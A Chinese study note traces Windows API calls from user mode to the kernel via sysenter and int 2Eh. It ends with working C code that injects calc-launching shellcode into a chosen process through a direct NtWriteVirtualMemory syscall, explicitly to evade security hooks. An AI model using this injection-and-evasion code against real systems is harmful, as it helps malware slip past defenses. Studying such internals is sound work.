API函数的调用过程(三环到零环)以及重写WriteProcessMemory三环
前言:花了两天写了去写拷贝之后,这里就继续学习API函数的调用过程
这个章节学完之后就可以重写相关三环API来实现免杀的效果。
Windows API
Application Programming Interface,简称 API 函数。
Windows的API主要是存放在 C:\WINDOWS\system32 下面所有的dll
几个重要的DLL
kernel32.dll:最核心的功能模块,比如管理内存、进程和线程相关的函数等
user32.dll:是Windows用户界面相关应用程序接口,如创建窗口和发送消息等
gdi32.dll:全称是Graphical Device Interface(图形设备接口),包含用于画图和显示文本的函数。比如要显示一个程序窗口,就调用了其中的函数来画这个窗口
ntdll.dll:大多数API都会通过这个DLL进入内核(0环).
分析ReadProcessMemory
IDA首先分析kernel32.dll,平常都是听大家说kernel32.dll提供了部分API的接口调用,所以这里先来看kernel32.dll,搜索ReadProcessMemory关键字如下图所示
可以看到是该ReadProcessMemory函数实际不是在当前kernel32.dll中调用,也就是kernel32.dll提供了接口调用
call ds:NtReadVirtualMemory
,IDA中的明显特征调用是其他的DLL中的函数
这里查看导入表可以看到该NtReadVirtualMemory是ntdll.dll中的,所以这里继续看ntdll.dll中该函数,如下图所示
主要核心的代码就这几条,可以看到这里有两个值,一个是0BAh
(每个函数都是不同的),还有一个是7FFE0300h
(相同的)
0BAh
->函数服务号
7FFE0300h
->快速调用
.text:7C92D9FE mov eax, 0BAh ; eax = 0xBA
.text:7C92DA03 mov edx, 7FFE0300h ; ecx = 7FFE0300
.text:7C92DA08 call dword ptr [edx] ; call 7FFE0300
.text:7C92DA0A retn 14h ; 堆栈平衡
通过其他的也可以发现,调用不同的函数的时候,唯一不同的就是服务号,而这个CALL 7FFE0300都是一样的
0x7FFE0300和_KUSER_SHARED_DATA
在了解0x7FFE0300的作用之前,这里还需要学习下_KUSER_SHARED_DATA结构体
_KUSER_SHARED_DATA结构体
1、在 User 层和 Kernel 层分别定义了一个 _KUSER_SHARED_DATA 结构区域,用于 User 层和 Kernel 层共享某些数据
知识点:这里可以通过windbg来进行观察,如下图所示
2、它们使用固定的地址值映射,_KUSER_SHARED_DATA 结构区域在 User 和 Kernel 层地址分别为:
-
user 层地址为:0x7FFE0000
-
kernnel 层地址为:0xFFDF0000
上面两个地址通过windbg进行查看可以发现指向的都是同一个物理页
注意点:虽然指向的是同一个物理页,但在User层(3环)是只读的,在kernel(0环)层是可写的,所以这也是应用层和驱动层实现调用的数据交换的一种方式
0x7FFE0000的PTE
5 -> 0101 R/W位为0,所以可以知道User层是不可写的
0xFFDF0000的PTE
3 -> 0101 R/W位为1,所以可以知道kernel层是可写的
重要的知识点:
因为_KUSER_SHARED_DATA结构体是调用0环函数的重要点,所以操作系统对所有的进程其中的_KUSER_SHARED_DATA的地址都是一样的,都是0x7FFE0000这个地址
那么问题就来了?那我是不是hook这个地方也同样能够实现全局的HOOK进入三环的函数?
答案是的,但是上面也可以发现用户层的话是不可写的,如果你在0环的话那么就可以全局HOOK的操作!
关于0x7FFE0300
上面介绍了_KUSER_SHARED_DATA结构体,这里继续来学习该结构体偏移0x300的位置,也就是快速调用
其中0x7FFE0300就是0x7FFE0000偏移0x300的地址,也就是_KUSER_SHARED_DATA结构体起始偏移0x300的地址,如下图所示
dt _KUSER_SHARED_DATA 0x7FFE0000
(注0x7FFE0000是一个进程的CR3,在dt命令执行先切换到一个进程的上下文.process)
可以看到其实是一个SystemCall字段名称,其中存储的值为0x7c92e510
那么这里来观察下0x7FFE0300其中存储的是什么,u 0x7c92e510
,如下图所示,可以看到就是快速调用的指令sysenter
知识点:
如果当前操作系统支持快速调用的话那么u 0x7c92e510
出现的就是相关KiFastSystemCall快速调用的流程(通过sysenter)
如果当前操作系统不支持快速调用的话那么u 0x7c92e510
出现的就是相关KiIntSystemCall的调用流程(通过中断门)
KiFastSystemCall
如果操作系统支持快速调用的方式,那么操作系统通过三环进入零环是通过syscenter指令
查看是否支持快速调用
当通过eax=1来执行cpuid指令时,处理器的特征信息被放在ecx和edx寄存器中,其中edx包含了一个SEP位(11位),该位指明了当前处理器知否支持sysenter/sysexit指令
cpuid
指令
接着单步走一下,可以发现ecx和edx都改变了
ecx:7FFAFBBF
edx::FEBFBFF
BFEBFBFF -> 1011 1111 1110 1011 1111 1011 1111 1111
可以看到第0位开始,第11位为1,所以我这台windows10的机器是支持快速调用的
sysenter执行的本质
而CPU如果支持sysenter指令时,操作系统会提前将CS/SS/ESP/EIP的值存储在MSR寄存器中,sysenter指令执行时,CPU会将MSR寄存器中的值直接写入相关寄存器,没有读内存的过程,所以叫快速调用,本质是一样的!
-
CS的权限由3变为0,意味着需要新的CS
-
SS与CS的权限永远一致,所以需要新的SS
-
权限发生切换的时候,堆栈也一定会切换,需要新的ESP
-
进0环后代码的位置,需要EIP
这里可以测试操作系统在MSR寄存器中存储的值是多少,如下图所示
这里还会看到,MSR寄存器在只提供了三个寄存器分别是ESP EIP CS,那么SS谁提供的呢?sysenter默认算法,SS = CS+8
快速调用的内核函数KiFastCallEntry
KiIntSystemCall
如果当前CPU不支持快速调用的话,那么它的实现方式是通过中断门来进入0环
中断门进0环,需要的CS、EIP在IDT表中,需要查内存(SS与ESP由TSS提供)
中断门调用的内核函数KiSystemService
这里还需要学习下KiSystemService,这个就是当KiIntSystemCall中断门提权int 2Eh
之后的EIP的位置
dq idtr+8*0x2e
,如下图所示
通过拆分就可以直接当前中断门描述符进入0环之后的位置为0x804de7d1
那么这里继续跟u 0x804de7d1
,如下图所示,这里就可以看到会调用KiSystemService函数
重写WriteProcessMemory
重写API的意义:自己实现API,可以避免3环恶意挂钩。
自己编写WriteProcessMemory函数(不使用任何DLL,直接调用0环函数)并在代码中使用。
KiIntSystemCall:
KiFastSystemCall:
代码如下:
#include<stdio.h>
#include<windows.h>
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk=FALSE;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
__declspec(naked) void KiFastSystemCall()
{
__asm
{
mov edx,esp;
_emit 0x0F; // sysenter
_emit 0x34;
}
}
__declspec(naked) void KiFastSystemCall2NtWriteVirtualMemory()
{
__asm
{
mov eax, 115h;
lea edx, [KiFastSystemCall];
call edx;
retn 14h;
}
}
__declspec(naked) void KiIntSystemCall()
{
__asm
{
lea edx,[esp+8];
int 2Eh;
ret;
}
}
__declspec(naked) void KiIntSystemCall2NtWriteVirtualMemory()
{
__asm
{
mov eax, 115h;
lea edx, [KiIntSystemCall];
call edx;
retn 14h;
}
}
int main(int argc, char* argv[])
{
DWORD dwWritten;
DWORD dwProcessPid;
HANDLE hProcess;
DWORD dwAddr;
unsigned char shellcode[] = {
0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
0x33, 0xC9, 0x51, 0xFF, 0xD0 };
EnableDebugPrivilege();
printf("Injection Pid: ");
scanf("%d", &dwProcessPid);
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessPid);
dwAddr = (DWORD)VirtualAllocEx(hProcess,0,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// WriteProcessMemory(hProcess,pAddr,shellcode,0x105,&dwWritten);
// KiFastSystemCall2NtWriteVirtualMemory
// KiIntSystemCall2NtWriteVirtualMemory
__asm
{
pushad;
pushfd;
lea eax, [dwWritten];
push eax;
push 0x105;
lea ebx, [shellcode];
push ebx;
push dwAddr;
push hProcess;
call KiFastSystemCall2NtWriteVirtualMemory;
//call KiIntSystemCall2NtWriteVirtualMemory;
popfd;
popad;
}
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwAddr, 0, 0, 0);
system("pause");
return 0;
}